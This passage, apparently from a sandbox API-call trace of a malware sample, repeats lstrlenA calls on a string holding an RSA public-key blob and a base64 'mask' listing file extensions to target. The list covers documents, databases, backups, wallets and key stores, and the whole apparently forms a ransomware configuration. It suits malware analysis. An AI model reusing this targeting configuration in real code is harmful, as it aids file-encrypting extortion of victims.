YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1p